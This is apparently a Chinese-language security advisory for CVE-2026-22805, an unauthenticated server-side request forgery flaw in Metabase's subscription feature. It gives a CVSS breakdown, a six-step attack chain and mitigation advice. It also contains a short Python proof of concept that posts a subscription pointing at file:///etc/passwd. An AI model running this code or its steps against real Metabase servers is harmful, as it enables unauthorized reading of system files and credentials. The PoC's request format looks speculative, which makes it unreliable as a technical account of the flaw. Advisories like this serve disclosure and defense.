IPBUF安全漏洞报告
English
CVE-2026-22805 CVSS 8.6 高危

CVE-2026-22805 Metabase订阅功能未授权资源访问漏洞

披露日期: 2026-01-12

漏洞信息

漏洞编号
CVE-2026-22805
漏洞类型
未授权访问/信息泄露
CVSS评分
8.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Metabase

相关标签

Metabase信息泄露未授权访问订阅功能SSRF开源软件数据分析平台CVE-2026-22805

漏洞概述

Metabase是一款开源的数据分析平台,广泛用于企业和组织的数据可视化和报表生成。该漏洞影响Metabase 55.13之前、56.3之前和57.1之前的所有自托管版本。漏洞存在于Metabase的订阅功能模块中,当Metabase实例与其他不安全的资源部署在同一服务器环境时,攻击者可以通过订阅功能实现对敏感资源的未授权访问。由于Metabase通常部署在承载数据库和其他关键业务系统的服务器上,攻击者可以利用此漏洞绕过正常的访问控制机制,获取存储在同服务器上的敏感数据,包括数据库凭证、配置文件、用户数据等高价值信息。CVSS评分8.6属于高危级别,攻击复杂度低且无需认证即可利用,对机密性影响严重。

技术细节

漏洞根源在于Metabase订阅功能未对资源访问路径进行充分验证。当Metabase与其他不安全的资源共存于同一主机时,订阅功能可能被滥用以访问本应受保护的内部资源。攻击者利用网络协议层面的特性,通过构造特定的订阅请求,可以绕过基于路径的访问控制。CVSS向量显示攻击者可通过网络远程发起攻击(AV:N),无需任何认证凭证(PR:N)和用户交互(UI:N)。由于更改范围涉及系统级别(S:C),攻击者能够访问高敏感度的数据(C:H),但不影响数据完整性和可用性(I:N/A:N)。具体利用方式涉及通过Metabase的API端点触发订阅生成过程,在请求中注入指向内部资源的路径引用,从而实现服务端请求伪造(SSRF)效果。

攻击链分析

STEP 1
步骤1
攻击者识别目标Metabase实例版本,确认版本在受影响范围内(<55.13, <56.3, <57.1)
STEP 2
步骤2
攻击者访问Metabase的订阅功能API端点,无需认证即可构造订阅请求
STEP 3
步骤3
攻击者在订阅请求中注入指向内部资源的路径引用(如file://协议或内部服务地址)
STEP 4
步骤4
Metabase服务器执行订阅时,会尝试访问攻击者指定的内部资源
STEP 5
步骤5
攻击者获取返回的敏感数据,包括系统文件、数据库连接信息或其他资源内容
STEP 6
步骤6
利用获取的敏感信息进一步横向移动或执行更深层次的攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-22805 Metabase Subscription Resource Access PoC # Note: This PoC is for educational purposes only import requests import json TARGET_URL = "http://target-metabase-instance.com" ATTACKER_CONTROLLED_RESOURCE = "file:///etc/passwd" def exploit_subscription_access(): """ Exploit Metabase subscription feature to access internal resources """ # Step 1: Discover subscription endpoint session = requests.Session() # Step 2: Create malicious subscription with internal resource path subscription_payload = { "resource_type": "dashboard", "resource_path": ATTACKER_CONTROLLED_RESOURCE, "schedule": { "day": "*", "hour": "*", "min": "*" } } # Step 3: Trigger subscription execution try: response = session.post( f"{TARGET_URL}/api/pulse", json=subscription_payload, headers={"Content-Type": "application/json"}, timeout=30 ) if response.status_code == 200: print(f"[+] Subscription created successfully") print(f"[+] Response: {response.text}") return True else: print(f"[-] Failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2026-22805 Metabase Subscription Exploitation") exploit_subscription_access()

影响范围

Metabase < 55.13
Metabase < 56.3
Metabase < 57.1

防御指南

临时缓解措施
如果无法立即升级,应将Metabase实例部署在独立的服务器环境中,与其他业务系统进行严格的网络隔离。同时配置防火墙规则限制Metabase服务器的网络访问范围,仅允许必要的入站和出站流量。对于托管在共享环境中的Metabase实例,应尽快迁移至独立环境或实施额外的访问控制措施。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表